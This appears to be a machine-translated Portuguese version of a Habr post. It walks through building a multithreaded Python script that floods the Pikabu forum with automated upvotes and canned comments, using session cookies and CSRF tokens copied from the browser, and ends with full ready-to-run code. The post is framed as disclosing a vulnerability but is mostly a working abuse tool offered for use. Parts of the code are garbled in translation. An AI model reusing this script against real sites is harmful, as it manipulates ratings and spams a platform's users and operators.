Vulnerabilidade de spam no Pikabu

Olá. Gostaria de falar sobre a vulnerabilidade de spam do fórum Pikabu.


Eu acho que o fórum não é o melhor, então estou testando tudo nele.


Qual é o objetivo?


A vulnerabilidade está no aumento da atividade, no número de classificações e nos comentários pelo tempo mínimo usando um script Python.


Me mostre!


Operação de script dentro de 24 horas:


imagem


Acha que editei o HTML? E não!


Como você fez isso ?!


Muito fácil!


Primeiro, crie um arquivo .py:


imagem


Em seguida, vamos importar os módulos com os quais faremos solicitações de ações, bem como um módulo para multithreading nosso script:


import requests from threading import Thread 

Agora vamos criar uma função com um loop infinito que envia nossos pedidos:


 def spam(): while True: req = requests.post('') 

Mas como você conhece os dados da solicitação?


Abra o FireFox, vá para Pikabu.


Escolha qualquer tópico. Passe o mouse sobre a seta para cima:


imagem


Agora pressione a combinação de teclas: cntr + shift + i.


A barra de ferramentas do desenvolvedor apareceu na tela:


Para preservar a visão dos usuários caros do fórum - tive que recortar o tema do AdBlock (ohm):


imagem


Vamos para a aba "rede".


Agora vemos todos os pedidos enviados neste navegador.


Clique na seta "classifique o tópico" e olhe rapidamente para o painel de consulta.
Pressione o botão "método" até que a primeira solicitação seja do tipo "POST":


imagem


Entre as primeiras consultas, encontre esta:


imagem


Clique com o botão direito do mouse e passe o mouse sobre o botão Copiar, selecione Copiar dados do POST. Em seguida, insira os dados na consulta da seguinte maneira:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Mas então avaliaremos o mesmo post!


Para corrigir isso, adicione o módulo "aleatório" aos módulos já importados usando o código:


 import random 

E adicione a linha ao loop while:


 story = random.randint(1000000, 6865568) 

Vamos continuar a criar uma solicitação! Aqui está o que já fizemos:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Adicione à solicitação a coisa mais importante - os cabeçalhos. Vamos voltar ao FireFox, clique com o botão direito do mouse na solicitação, selecione "Copiar", mas desta vez - "Cabeçalhos da solicitação".
Da mesma maneira, entre os dois pontos e as aspas, insira-os no código:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

No campo "seus dados", insira seus valores.


Exiba o status da solicitação:


 print(req) 

se "responder <200>" for exibido, a solicitação foi enviada e o tópico foi classificado.
Em seguida, tornaremos o script um pouco mais rápido (exatamente 55 vezes).


Crie encadeamento para nossos pedidos:


 for i in range(55): thr = Thread(target = spam) thr.start() 

Bem, é isso! Você pode correr.


E aqui está o código inteiro:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

Da mesma forma, comentários enganosos são feitos. Não vou explicá-lo em detalhes, basta colocar o código:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

Bem, isso é tudo. Você pode invadir postagens e comentários.


Boa sorte


Amo Habr.


As ações acima são completamente legais, não violam mais de um artigo do Código Penal da Federação da Rússia em 02/10/2019.

Source: https://habr.com/ru/post/pt469839/


All Articles